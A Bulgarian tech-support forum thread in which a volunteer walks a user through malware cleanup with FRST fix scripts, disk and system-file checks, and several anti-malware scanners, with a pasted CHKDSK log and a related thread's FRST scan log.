
Колкото до товаренето на процесора пробвайте следното:

Oт Start => въведете в търсачката на Windows => services.msc => Натиснете Enter => от списъка намерете Windows Update => натиснете Stop, а от падащото меню на Startup Type изберете Disabled.

Пишете има ли промяна.

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Командата я копирах, това което направих е да изтрия папката, в която бяха снимките и информацията и да я заменя с копията.

Аз май постоянно се бъркам във вашата работа, за което съжалявам, но е офис компютър и работя с тази информация затова избързах.

И за сега след последните промени около 20 минути няма проблем.

Addition.txt

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Т.е. след спирането на Windows Update вече процеса svchost.exe не товари системата?

А проблема със смяната на темата с премигването има ли го още?

СТЪПКА 1

Иначе почти сме готови. Изтеглете и инсталирайте следния MS FixIt

 

СТЪПКА 2

Изтеглете edit-text.giffixlist.txt и го запазете на десктопа.
Стартирайте FRST.exe и натиснете бутона Fix веднъж!
След като приключи, ако ви поиска рестарт - съгласете се. След рестарта публикувайте лог файла - fixlog.txt, който ще се създаде след работата на програмата.
 
Внимание: Скрипта е създаден за текущата система. Да не се ползва за други системи с подобни проблеми!

 

Иначе има и някаква хардуерна грешка на процесора....не съм специалист и има програми за тестване (като LinX, Prime95, Hot Cpu Tester, OCCT и т.н. но те са основно за тестване на процесора за стабилност след овърклок), но може да е за смяна. Рядко се случва процесор да се развали...това е една от най-сигурните части в една система, но не е невъзможно.

Цитат

 

System errors:
=============
Error: (02/17/2016 07:58:15 AM) (Source: Microsoft-Windows-WHEA-Logger) (EventID: 18) (User: NT AUTHORITY)
Description: A fatal hardware error has occurred.

Reported by component: Processor Core
Error Source: 3
Error Type: 256
Processor ID: 1

 

Можете да се допитате до хардуерния раздел след като приключим тук.

 

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Ами щом трябва, ще се сменя не е първа младост евтини са вече.

Fixlog.txt

Редактирано от m_power94 (преглед на промените)

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

А стъпките 1 и 2 изпълнихте ли? А ще отговорите ли и на въпросите ми от предишния ми коментар? :)

Колкото за замяната...да евтини са, защото са втора ръка, но трябва да се провери кои модели се поддържат от дъното ви и от биоса към дъното за да няма изненади.

Довечера ще напиша и последния скрипт за пррмахване на последните остатъци от recover файловете на дял D:\

 

 

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Аз бях отговорил, но редактирах коментара, нещо аваст-а беше скапал frst.exe и писах едно после я спрях и всичко мина ок, и редактирах коментара.

та имам около 8 процеса svchost, но не товарят процесора и използват малко памет.

проблема със сменяването на темата го нямам, поне не се е появил иначе се появяваше малко след рестарт.

за процесора, потдържаните лесно ще ги видя на сайта.А може и захранването да скапва нещата понеже на 12-волтовата линя изкарва 11.4 в на 5в изкарва 4.7в

Редактирано от m_power94
Допълнение (преглед на промените)

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

За да премахнем остатъците от файловете на дял D:\ направете следното:

 

СТЪПКА 1

Изтеглете edit-text.giffixlist.txt и го запазете на десктопа.
Стартирайте FRST.exe и натиснете бутона Fix веднъж!
След като приключи, ако ви поиска рестарт - съгласете се. След рестарта публикувайте лог файла - fixlog.txt, който ще се създаде след работата на програмата.
 
Внимание: Скрипта е създаден за текущата система. Да не се ползва за други системи с подобни проблеми!

 

За да проверим състоянието на системните файлове след намесата на вируса и дали няма някакви поражения по тях направете следните 2 неща:

 

СТЪПКА 2

 

Проверете дяла и за грешки и лоши сектори и да поправим някои от проблемите с файловата система.

В полето за търсене CMD => кликнете върху файла CMD.exe и изберете Run as administrator => въведете командата: chkdsk c: /x /f /r => натиснете Enter

Съгласете се с Y на диалоговия прозорец. Рестартирайте компютъра и би трябвало проверката да започне.След това вижте какви са били резултатите.

Рапорта от проверката ще намерите тук: В полето за търсене въведете eventvwr.msc => Аpplications => събитие WinInit Event ID 1001. Kопирайте рапорта в следващия си пост.

Ето как да намерите лог файла.

Ако с командата ви е трудно просто отворете My Computer => кликнете с десен бутон на дял C:\ и изберете Properties => отидете на Tools => Check Now... => сложете двете отметки и натиснете бутона Start. Рестартирайте системата и изчакайте проверката да приключи (може да мине над час). След това проверете отново и публикувайте лог файла от последната дата.

 

СТЪПКА 3

 

Тъй като видях и системни файлове, които не минават цифровата проверка нека да видим какво е положението и при тях:

В полето за търсене на Windows въведете CMD => кликнете с десен бутон върху CMD.exe и изберете Run as administrator.

След това с копи/пейст изпълнете една по една командите и след всяка натиснете Enter

sfc /scannow

findstr /c:"[SR]" %windir%\Logs\CBS\CBS.log >"%userprofile%\Desktop\sfcdetails.txt"

Сега трябва да се появи sfcdetails.txt на десктопа. Прикачете файла, който ще се появи на десктопа - sfcdetails.txt в следващия си коментар и пишете дали има промяна.

 

Поздрави!

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Log Name:      Application
Source:        Microsoft-Windows-Wininit
Date:          2/18/2016 4:35:48 PM
Event ID:      1001
Task Category: None
Level:         Information
Keywords:      Classic
User:          N/A
Computer:      ASIA-PC
Description:


Checking file system on C:
The type of the file system is NTFS.

A disk check has been scheduled.
Windows will now check the disk.                         

CHKDSK is verifying files (stage 1 of 5)...
  125696 file records processed.                                        
File verification completed.
  214 large file records processed.                                  
  0 bad file records processed.                                    
  2 EA records processed.                                          
  28 reparse records processed.                                      
CHKDSK is verifying indexes (stage 2 of 5)...
  155872 index entries processed.                                        
Index verification completed.
  0 unindexed files scanned.                                        
  0 unindexed files recovered.                                      
CHKDSK is verifying security descriptors (stage 3 of 5)...
  125696 file SDs/SIDs processed.                                        
Cleaning up 330 unused index entries from index $SII of file 0x9.
Cleaning up 330 unused index entries from index $SDH of file 0x9.
Cleaning up 330 unused security descriptors.
Security descriptor verification completed.
  15089 data files processed.                                          
CHKDSK is verifying Usn Journal...
  33919160 USN bytes processed.                                            
Usn Journal verification completed.
CHKDSK is verifying file data (stage 4 of 5)...
  125680 files processed.                                                
File data verification completed.
CHKDSK is verifying free space (stage 5 of 5)...
  57625257 free clusters processed.                                        
Free space verification is complete.
CHKDSK discovered free space marked as allocated in the
master file table (MFT) bitmap.
CHKDSK discovered free space marked as allocated in the volume bitmap.
Windows has made corrections to the file system.

 259858431 KB total disk space.
  29071192 KB in 101104 files.
     52880 KB in 15090 indexes.
         0 KB in bad sectors.
    233327 KB in use by the system.
     65536 KB occupied by the log file.
 230501032 KB available on disk.

      4096 bytes in each allocation unit.
  64964607 total allocation units on disk.
  57625258 allocation units available on disk.

Internal Info:
00 eb 01 00 ed c5 01 00 95 e0 02 00 00 00 00 00  ................
1c 01 00 00 1c 00 00 00 00 00 00 00 00 00 00 00  ................
88 8e 4b 00 50 01 4a 00 88 1b 4a 00 00 00 4a 00  ..K.P.J...J...J.

Windows has finished checking your disk.
Please wait while your computer restarts.

Event Xml:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <Provider Name="Microsoft-Windows-Wininit" Guid="{206f6dea-d3c5-4d10-bc72-989f03c8b84b}" EventSourceName="Wininit" />
    <EventID Qualifiers="16384">1001</EventID>
    <Version>0</Version>
    <Level>4</Level>
    <Task>0</Task>
    <Opcode>0</Opcode>
    <Keywords>0x80000000000000</Keywords>
    <TimeCreated SystemTime="2016-02-18T14:35:48.000000000Z" />
    <EventRecordID>2362</EventRecordID>
    <Correlation />
    <Execution ProcessID="0" ThreadID="0" />
    <Channel>Application</Channel>
    <Computer>ASIA-PC</Computer>
    <Security />
  </System>
  <EventData>
    <Data>

Checking file system on C:
The type of the file system is NTFS.

A disk check has been scheduled.
Windows will now check the disk.                         

CHKDSK is verifying files (stage 1 of 5)...
  125696 file records processed.                                        
File verification completed.
  214 large file records processed.                                  
  0 bad file records processed.                                    
  2 EA records processed.                                          
  28 reparse records processed.                                      
CHKDSK is verifying indexes (stage 2 of 5)...
  155872 index entries processed.                                        
Index verification completed.
  0 unindexed files scanned.                                        
  0 unindexed files recovered.                                      
CHKDSK is verifying security descriptors (stage 3 of 5)...
  125696 file SDs/SIDs processed.                                        
Cleaning up 330 unused index entries from index $SII of file 0x9.
Cleaning up 330 unused index entries from index $SDH of file 0x9.
Cleaning up 330 unused security descriptors.
Security descriptor verification completed.
  15089 data files processed.                                          
CHKDSK is verifying Usn Journal...
  33919160 USN bytes processed.                                            
Usn Journal verification completed.
CHKDSK is verifying file data (stage 4 of 5)...
  125680 files processed.                                                
File data verification completed.
CHKDSK is verifying free space (stage 5 of 5)...
  57625257 free clusters processed.                                        
Free space verification is complete.
CHKDSK discovered free space marked as allocated in the
master file table (MFT) bitmap.
CHKDSK discovered free space marked as allocated in the volume bitmap.
Windows has made corrections to the file system.

 259858431 KB total disk space.
  29071192 KB in 101104 files.
     52880 KB in 15090 indexes.
         0 KB in bad sectors.
    233327 KB in use by the system.
     65536 KB occupied by the log file.
 230501032 KB available on disk.

      4096 bytes in each allocation unit.
  64964607 total allocation units on disk.
  57625258 allocation units available on disk.

Internal Info:
00 eb 01 00 ed c5 01 00 95 e0 02 00 00 00 00 00  ................
1c 01 00 00 1c 00 00 00 00 00 00 00 00 00 00 00  ................
88 8e 4b 00 50 01 4a 00 88 1b 4a 00 00 00 4a 00  ..K.P.J...J...J.

Windows has finished checking your disk.
Please wait while your computer restarts.
</Data>
  </EventData>
</Event>

-------------------------------------------------------------------------------------------------------------------------------------------

 

Д: е вече изчистен, до колкото видях няма грешки в харддиска, който всъщност е на няма и месец.

Само не съм наясно нормално ли е да има толкова много svchost. процеси?

sfcdetails.txt

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Къде е последния fixlog.txt?

CHKDSK е поправил грешки във файловата система все пак, което пак е нещо. Иначе да, няма лоши сектори. Това че е нов принципно не дава 100% гаранция за липсата на проблеми.

И да, нормално е да има толкова много svchost.exe процеси. Доста услуги се зареждат през тях за да функционират.

 

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Супер...изчистили сме всичко. Ето ги и последните стъпки преди да приключим просто за да проверим дали няма остатъци от зловредния софтуер и да обновим старите програми.

 

СТЪПКА 1

 

 

Моля изтеглете Malwarebytes Anti-Malware 2.2.0.1024 Final и я запазете на вашия десктоп.

  • Стартирайте файла mbam-setup-2.1.8.1057.exe и следвайте указанията за да инсталирате програмата.
  • След като инсталацията приключи се уверете че сте сложили отметка пред:
  • Launch Malwarebytes Anti-Malware
  • Отметката активираща пробния 14 дневен период също е маркиран по-подразбиране. Ако не желаете да тествате защитата в реално време на програмата през следващите 14 дни тогава премахнете отметката. Т.е. премахнете първата отметка:

DkgJ7Zr.png

  • Натиснете бутона Finish.
  • Отидете до табът Settings > Detection and Protection > и под категорията Detection Options включете опцията "Scan for rootkits".
  • Отидете до табът Scan, сложете радио-бутона пред Threat Scan и след това натиснете бутона Scan Now >> . Ако е намерена актуализация тогава натиснете бутона Update Now.
  • Ще започне проверка за зловреден софтуер.
  • При някои инфекции можете да видите съобщението:
  • "Could not load DDA driver"
  • Натиснете "Yes" на това съобщение за да позволите драйвера да се зареди след рестарт.
  • Разрешете на компютъра да се рестартира и след това продължете с останалите инструкции.
  • След като проверката приключи натиснете бутона Apply Actions.
  • Изчакайте да се появи прозореца подканващ ви да рестартирате и след това натиснете бутона Yes.
  • След рестарта, когато се появи десктопа MBAM ще се зареди още веднъж.
  • Отидете то табът History > Application Logs.

65ZBqkR.jpg

  • Отворете рапорта с последната дата и час и натиснете бутона "Copy to Clipboard"
  • Сега вече поставете съдържанието на лог файла с клавишната комбинация Ctrl + V и го публикувайте в следващия си коментар.

 

СТЪПКА 2

 

1.Изтеглете Hitman Pro.

За 32-битова система - dEMD6.gif.
За 64-битова система - Download-button3.gif

2.Стартирайте програмата.
3.След като сте стартирали програмата като кликнете върху иконата 5vo5F.jpg и натиснете бутона „Напред“ като се съгласите с лицензионното споразумение (EULA).

4.Сложете отметка пред "Не, искам да завърша еднократно сканиране на компютъра".

5.Натиснете бутона „Напред“.

6.Програмата ще започне да сканира. Времето за сканиране е около 2 минути.

7.След завършване на сканирането от списъка с намерените неща (ако има такива) изберете Apply to all => Ignore.

8.Натиснете "Next" и след това натиснете "Изнеси резултата в XML file" и запазете лог файла на десктопа.

9.Архивирайте файла и го прикачете в следващия си коментар или копирайте съдържанието му в следващия си коментар.
 
Забележка: Ако няма падащо меню, където да изберете ignore както на снимката:
 
6-scanfin-choose.jpg
 
Тогава просто затворете програмата след края на проверката (без да премахвате нищо)...след това отворете C:\Programdata\HitmanPro\Logs, отворете и публикувайте съдържанието на лог файла в следващия си коментар.

Забележка: Папката C:\ProgramData е скрита и затова трябва да направите скритите файлове видими по-следния начин:

От My Computer => Tools => Folder Options => View:

Сложете отметка пред "Show hidden files, folders and drives"

и махнете отметката пред "Hide protected operating system files (recommended)".

Натиснете Apply.

Сега проверете за лог файла в папката C:\Programdata\HitmanPro\Logs и го прикачете в следващия си коментар. :)

 

СТЪПКА 3

 

emsisoft_emergency_kit.pnglogo.png

  • Моля изтеглете EmsisoftEmergencyKit, стартирайте exe файла и посочете къде да се разархивира програмата - например в (C:\EEK), натискайки бутона Extract.
  • Стартирайте иконата на файла Start Emsisoft Emergency Kit от десктопа за да стартирате приложението.
  • Натиснете бутона"Yes", когато бъдете подканени да обновите дефинициите на програмата.

EKK.gif

  • След като процеса по обновяването на дефинициите приключи натиснете бутона "Scan".
  • Натиснете бутона "Yes", когато бъдете попитани дали да програмата да включи засичането на потенциално нежелани приложения (Potentially Unwanted Applications).
  • Сега вече изберете бутона Custom Scan. Премахнете от списъка всички дялове без C:\ (т.е. нека да остане само дял C:\ в списъка).
  • Натиснете Next за да започне проверката.
  • Когато проверката приключи натиснете бутона View Report.
  • Копирайте съдържанието на лог файла в следващия си коментар.

 

СТЪПКА 4

 

Изтеглете Публикувано изображение Security Check от screen317 от този линк и го запаметете на вашия десктоп.

Кликнете два пъти върху SecurityCheck.exe и следвайте инструкциите.

Накрая, автоматично ще се отвори текстов документ, наречен checkup.txt, моля поставете съдържанието му в следващия ви коментар в тази тема.

 

Поздрави! ;)

  • Харесва ми 3

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Ето го и последния скрипт:

Изтеглете edit-text.giffixlist.txt и го запазете на десктопа.
Стартирайте FRST.exe и натиснете бутона Fix веднъж!
След като приключи, ако ви поиска рестарт - съгласете се. След рестарта публикувайте лог файла - fixlog.txt, който ще се създаде след работата на програмата.
 
Внимание: Скрипта е създаден за текущата система. Да не се ползва за други системи с подобни проблеми!

Обновете и Internet Explorer до версия 11

https://www.kaldata.com/comments.php?catid=1&id=44441

Финалните инструкции как да почистите използваните от нас инструменти и прилежащите към тях папки ще намерите тук:

Ако няма повече въпроси и проблеми ще маркирам случая като РЕШЕН! :bye1:

  • Харесва ми 4

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Регистрирайте се или влезете в профила си за да коментирате

Трябва да имате регистрация за да може да коментирате това

Регистрирайте се

Създайте нова регистрация в нашия форум. Лесно е!

Нова регистрация

Вход

Имате регистрация? Влезте от тук.

Вход


  • Горещи теми в момента

  • Подобни теми

    • от мирослав24
      здравейте,получи се следния проблем-след отваряне на снимки от чат,по-точно след последната,излезе съобщение на екрана дали искам да рестартирам.Отказах да изпълня рестарта,след което на курсора на мишката се появи часовника и стоя около 5 минути.През това време не се изпълняваха никакви команди.Изчаках да изчезне часовника и реших да отворя коя да е икона от десктопа-същото нещо-появи се часовника за около 5 минути.Изключих го и повече не се занимавах.Днес сутринта го включих и директно ми се отвори браузъра със същия този часовник.Сега ми изпълнява командите по бавно,но може да се работи.Не съм сканирал с никакви антивирусни софтуери и директно минах на сканиране с FRST.Ето ги и логовете:
      Scan result of Farbar Recovery Scan Tool (FRST) (x86) Version: 30-11-2017
      Ran by User1 (administrator) on PC1 (05-12-2017 08:35:08)
      Running from C:\Documents and Settings\User2\Desktop
      Loaded Profiles: User1 & User2 (Available Profiles: User1 & User2 & Administrator)
      Platform: Microsoft Windows XP Professional Service Pack 3 (X86) Language: English (United States)
      Internet Explorer Version 8 (Default browser: IE)
      Boot Mode: Normal
      Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/
      ==================== Processes (Whitelisted) =================
      (If an entry is included in the fixlist, the process will be closed. The file will not be moved.)
      (Cisco Systems, Inc.) C:\Program Files\Cisco Systems\VPN Client\cvpnd.exe
      (Comodo) C:\Program Files\Comodo\Dragon\dragon_updater.exe
      () C:\Program Files\Lavasoft\Ad-Aware Antivirus\Ad-Aware Antivirus\11.12.945.9202\AdAwareService.exe
      (RaMMicHaeL) C:\Program Files\Unchecky\bin\unchecky_svc.exe
      (Comodo) C:\Program Files\Comodo\Dragon\dragon.exe
      (Comodo) C:\Program Files\Comodo\Dragon\dragon.exe
      (Comodo) C:\Program Files\Comodo\Dragon\dragon.exe
      (Comodo) C:\Program Files\Comodo\Dragon\dragon.exe
      (Comodo) C:\Program Files\Comodo\Dragon\dragon.exe
      ==================== Registry (Whitelisted) ===========================
      (If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)
      HKLM\...\Run: [tsnpstd3] => C:\WINDOWS\tsnpstd3.exe [262144 2006-06-19] ()
      HKLM\...\Run: [snpstd3] => C:\WINDOWS\vsnpstd3.exe [831488 2006-05-12] ()
      HKLM\...\Run: [] => [X]
      HKLM\...\Run: [AdAwareTray] => C:\Program Files\Lavasoft\Ad-Aware Antivirus\Ad-Aware Antivirus\11.12.945.9202\AdAwareTray.exe [8063200 2016-07-18] ()
      HKLM\...\Run: [HP Software Update] => C:\Program Files\HP\HP Software Update\HPWuSchd2.exe [49152 2007-03-11] (Hewlett-Packard Co.)
      HKLM\...\Run: [DWQueuedReporting] => C:\Program Files\Common Files\Microsoft Shared\DW\DWTRIG20.EXE [437160 2007-02-26] (Microsoft Corporation)
      HKU\S-1-5-21-220523388-412668190-1417001333-1003\...\Run: [Messenger (Yahoo!)] => "F:\SKYPE_~1\yahoo\Messenger\YahooMessenger.exe" -quiet
      HKU\S-1-5-21-220523388-412668190-1417001333-1003\...\Run: [uTorrent] => C:\Program Files\uTorrent\uTorrent.exe [395640 2011-05-02] (BitTorrent, Inc.)
      HKU\S-1-5-21-220523388-412668190-1417001333-1003\...\Run: [CCleaner Monitoring] => C:\Program Files\CCleaner\CCleaner.exe [6490904 2015-08-20] (Piriform Ltd)
      HKU\S-1-5-21-220523388-412668190-1417001333-1003\...\Run: [Google Update] => C:\Documents and Settings\User1\Local Settings\Application Data\Google\Update\1.3.33.7\GoogleUpdateCore.exe [601680 2017-12-02] (Google Inc.)
      HKU\S-1-5-21-220523388-412668190-1417001333-1003\...\Run: [MCShield Monitor] => C:\Program Files\MCShield\mcshieldrtm.exe [650816 2014-04-11] (MyCity)
      HKU\S-1-5-18\...\RunOnce: [RunNarrator] => C:\WINDOWS\system32\Narrator.exe [53760 2008-04-14] (Microsoft Corporation)
      HKU\S-1-5-18\...\RunOnce: [FlashPlayerUpdate] => C:\WINDOWS\system32\Macromed\Flash\FlashUtil32_26_0_0_151_pepper.exe [1281024 2017-08-19] (Adobe Systems Incorporated)
      Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\HP Digital Imaging Monitor.lnk [2017-09-02]
      ShortcutTarget: HP Digital Imaging Monitor.lnk -> C:\Program Files\HP\Digital Imaging\bin\hpqtra08.exe (Hewlett-Packard Co.)
      Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\VPN Client.lnk [2017-12-02]
      ShortcutTarget: VPN Client.lnk -> C:\WINDOWS\Installer\{21E247D4-5E27-4BEA-AA4D-19A81203FE2A}\Icon3E5562ED7.ico ()
      ==================== Internet (Whitelisted) ====================
      (If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)
      Tcpip\Parameters: [DhcpNameServer] 192.168.0.1
      Tcpip\..\Interfaces\{0227FD86-8C54-4C88-8029-3F44137A8ADF}: [DhcpNameServer] 192.168.0.1
      Internet Explorer:
      ==================
      HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank
      HKU\S-1-5-21-220523388-412668190-1417001333-1003\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank
      HKU\S-1-5-21-220523388-412668190-1417001333-1004\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank
      URLSearchHook: [S-1-5-21-220523388-412668190-1417001333-1004] ATTENTION => Default URLSearchHook is missing
      DPF: {8AD9C840-044E-11D1-B3E9-00805F499D93} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0_09-windows-i586.cab
      FireFox:
      ========
      FF Plugin: @adobe.com/FlashPlayer -> C:\WINDOWS\system32\Macromed\Flash\NPSWF32_18_0_0_160.dll [2015-06-22] ()
      FF Plugin: @java.com/JavaPlugin,version=10.11.2 -> C:\Program Files\Java\jre7\bin\plugin2\npjp2.dll [2013-01-12] (Oracle Corporation)
      FF Plugin: @messenger.yahoo.com/YahooMessengerStatePlugin;version=1.0.0.6 -> C:\Program Files\Yahoo!\Shared\npYState.dll [No File]
      FF Plugin: @microsoft.com/WPF,version=3.5 -> C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll [2008-07-29] (Microsoft Corporation)
      FF Plugin: Adobe Reader -> C:\Program Files\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll [2014-08-05] (Adobe Systems Inc.)
      FF Plugin HKU\S-1-5-21-220523388-412668190-1417001333-1003: @talk.google.com/GoogleTalkPlugin -> C:\Documents and Settings\User1\Application Data\Mozilla\plugins\npgoogletalk.dll [2015-12-08] (Google)
      FF Plugin HKU\S-1-5-21-220523388-412668190-1417001333-1003: @talk.google.com/O1DPlugin -> C:\Documents and Settings\User1\Application Data\Mozilla\plugins\npo1d.dll [2015-12-08] (Google)
      FF Plugin HKU\S-1-5-21-220523388-412668190-1417001333-1003: @tools.google.com/Google Update;version=3 -> C:\Documents and Settings\User1\Local Settings\Application Data\Google\Update\1.3.33.7\npGoogleUpdate3.dll [2017-12-02] (Google Inc.)
      FF Plugin HKU\S-1-5-21-220523388-412668190-1417001333-1003: @tools.google.com/Google Update;version=9 -> C:\Documents and Settings\User1\Local Settings\Application Data\Google\Update\1.3.33.7\npGoogleUpdate3.dll [2017-12-02] (Google Inc.)
      FF Plugin ProgramFiles/Appdata: C:\Documents and Settings\User1\Application Data\mozilla\plugins\npgoogletalk.dll [2015-12-08] (Google)
      FF Plugin ProgramFiles/Appdata: C:\Documents and Settings\User1\Application Data\mozilla\plugins\npo1d.dll [2015-12-08] (Google)
      ==================== Services (Whitelisted) ====================
      (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
      S3 AdobeFlashPlayerUpdateSvc; C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe [272384 2017-08-19] (Adobe Systems Incorporated) [File not signed]
      S2 Browser; C:\WINDOWS\System32\browser.dll [78336 2012-07-06] (Microsoft Corporation) [File not signed]
      R2 CVPND; C:\Program Files\Cisco Systems\VPN Client\cvpnd.exe [1528624 2009-11-17] (Cisco Systems, Inc.)
      R2 DcomLaunch; C:\WINDOWS\system32\rpcss.dll [401408 2009-02-09] (Microsoft Corporation) [File not signed]
      R2 Dnscache; C:\WINDOWS\System32\dnsrslvr.dll [45568 2009-04-20] (Microsoft Corporation) [File not signed]
      R2 DragonUpdater; C:\Program Files\Comodo\Dragon\dragon_updater.exe [2060848 2016-02-05] (Comodo)
      R2 Eventlog; C:\WINDOWS\system32\services.exe [110592 2009-02-06] (Microsoft Corporation) [File not signed]
      R3 EventSystem; C:\WINDOWS\system32\es.dll [253952 2008-07-07] (Microsoft Corporation) [File not signed]
      S3 FastUserSwitchingCompatibility; C:\WINDOWS\System32\shsvcs.dll [135168 2009-07-28] (Microsoft Corporation) [File not signed]
      R3 hpqcxs08; C:\Program Files\HP\Digital Imaging\bin\hpqcxs08.dll [217088 2007-06-04] (Hewlett-Packard Co.) [File not signed]
      R2 hpqddsvc; C:\Program Files\HP\Digital Imaging\bin\hpqddsvc.dll [131072 2007-06-04] (Hewlett-Packard Co.) [File not signed]
      S4 JavaQuickStarterService; C:\Program Files\Java\jre7\bin\jqs.exe [170912 2013-01-12] (Oracle Corporation)
      R2 LanmanServer; C:\WINDOWS\System32\srvsvc.dll [99840 2010-08-27] (Microsoft Corporation) [File not signed]
      R2 lanmanworkstation; C:\WINDOWS\System32\wkssvc.dll [132096 2009-06-10] (Microsoft Corporation) [File not signed]
      R2 LavasoftAdAwareService11; C:\Program Files\Lavasoft\Ad-Aware Antivirus\Ad-Aware Antivirus\11.12.945.9202\AdAwareService.exe [664040 2016-07-18] ()
      S3 MSIServer; C:\WINDOWS\System32\msiexec.exe [95744 2008-05-19] (Microsoft Corporation) [File not signed]
      S3 Net Driver HPZ12; C:\WINDOWS\system32\HPZinw12.dll [43520 2006-11-08] (Hewlett-Packard) [File not signed]
      R3 Nla; C:\WINDOWS\System32\mswsock.dll [245248 2008-06-20] (Microsoft Corporation) [File not signed]
      R2 PlugPlay; C:\WINDOWS\system32\services.exe [110592 2009-02-06] (Microsoft Corporation) [File not signed]
      S3 Pml Driver HPZ12; C:\WINDOWS\system32\HPZipm12.dll [53248 2006-11-08] (Hewlett-Packard) [File not signed]
      R2 RpcSs; C:\WINDOWS\System32\rpcss.dll [401408 2009-02-09] (Microsoft Corporation) [File not signed]
      R2 ShellHWDetection; C:\WINDOWS\System32\shsvcs.dll [135168 2009-07-28] (Microsoft Corporation) [File not signed]
      S2 SkypeUpdate; C:\Program Files\Skype\Updater\Updater.exe [317400 2017-04-05] (Skype Technologies) [File not signed]
      R2 Spooler; C:\WINDOWS\system32\spoolsv.exe [58880 2010-08-17] (Microsoft Corporation) [File not signed]
      R2 Themes; C:\WINDOWS\System32\shsvcs.dll [135168 2009-07-28] (Microsoft Corporation) [File not signed]
      R2 Unchecky; C:\Program Files\Unchecky\bin\unchecky_svc.exe [243448 2016-02-20] (RaMMicHaeL)
      S3 Wmi; C:\WINDOWS\System32\advapi32.dll [617472 2009-02-09] (Microsoft Corporation) [File not signed]
      ===================== Drivers (Whitelisted) ======================
      (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
      R1 AFD; C:\WINDOWS\System32\drivers\afd.sys [138496 2011-08-17] (Microsoft Corporation) [File not signed]
      R1 AmdK8; C:\WINDOWS\System32\DRIVERS\AmdK8.sys [36864 2006-06-18] (Advanced Micro Devices)
      S3 CCDECODE; C:\WINDOWS\System32\DRIVERS\CCDECODE.sys [17024 2008-04-13] (Microsoft Corporation)
      S3 CVirtA; C:\WINDOWS\System32\DRIVERS\CVirtA.sys [5275 2007-01-18] (Cisco Systems, Inc.)
      R2 CVPNDRVA; C:\WINDOWS\system32\Drivers\CVPNDRVA.sys [308859 2009-11-17] (Cisco Systems, Inc.) [File not signed]
      R3 DNE; C:\WINDOWS\System32\DRIVERS\dne2000.sys [131984 2008-11-16] (Deterministic Networks, Inc.)
      R3 gzflt; C:\Program Files\Lavasoft\Ad-Aware Antivirus\Antimalware Engine\3.0.129.0\gzflt.sys [175008 2016-04-28] (BitDefender LLC)
      S3 HPZid412; C:\WINDOWS\System32\DRIVERS\HPZid412.sys [49920 2007-01-19] (HP)
      S3 HPZipr12; C:\WINDOWS\System32\DRIVERS\HPZipr12.sys [16496 2007-01-19] (HP)
      S3 HPZius12; C:\WINDOWS\System32\DRIVERS\HPZius12.sys [21568 2007-01-19] (HP)
      R3 HTTP; C:\WINDOWS\System32\Drivers\HTTP.sys [265728 2009-10-20] (Microsoft Corporation) [File not signed]
      R3 IntcAzAudAddService; C:\WINDOWS\System32\drivers\RtkHDAud.sys [4368896 2006-08-15] (Realtek Semiconductor Corp.) [File not signed]
      R3 irsir; C:\WINDOWS\System32\DRIVERS\irsir.sys [18688 2001-08-17] (Microsoft Corporation)
      R0 KSecDD; C:\WINDOWS\system32\Drivers\KSecDD.sys [92928 2009-06-24] (Microsoft Corporation) [File not signed]
      R1 MRxSmb; C:\WINDOWS\System32\DRIVERS\mrxsmb.sys [456320 2011-07-15] (Microsoft Corporation) [File not signed]
      R0 Mup; C:\WINDOWS\system32\Drivers\Mup.sys [105472 2011-04-21] (Microsoft Corporation) [File not signed]
      S3 NdisIP; C:\WINDOWS\System32\DRIVERS\NdisIP.sys [10880 2008-04-13] (Microsoft Corporation)
      R3 NdisTapi; C:\WINDOWS\System32\DRIVERS\ndistapi.sys [10496 2011-07-08] (Microsoft Corporation) [File not signed]
      R3 NDProxy; C:\WINDOWS\system32\Drivers\NDProxy.sys [40960 2013-11-27] (Microsoft Corporation) [File not signed]
      R3 NVENETFD; C:\WINDOWS\System32\DRIVERS\NVENETFD.sys [57856 2006-07-11] (NVIDIA Corporation)
      R3 nvnetbus; C:\WINDOWS\System32\DRIVERS\nvnetbus.sys [20480 2006-07-11] (NVIDIA Corporation)
      R3 Rasirda; C:\WINDOWS\System32\DRIVERS\rasirda.sys [19584 2001-08-17] (Microsoft Corporation)
      S3 SNPSTD3; C:\WINDOWS\System32\DRIVERS\snpstd3.sys [10148480 2006-06-27] (Sonix Co. Ltd.) [File not signed]
      R3 Srv; C:\WINDOWS\System32\DRIVERS\srv.sys [357888 2011-02-17] (Microsoft Corporation) [File not signed]
      R1 Tcpip; C:\WINDOWS\System32\DRIVERS\tcpip.sys [361600 2008-06-20] (Microsoft Corporation) [File not signed]
      U3 TrueSight; c:\windows\system32\drivers\TrueSight.sys [111872 2011-12-15] () [File not signed]
      S3 Trufos; C:\WINDOWS\System32\DRIVERS\Trufos.sys [428832 2016-04-28] (BitDefender S.R.L.)
      S3 usbaudio; C:\WINDOWS\System32\drivers\usbaudio.sys [60160 2013-07-17] (Microsoft Corporation) [File not signed]
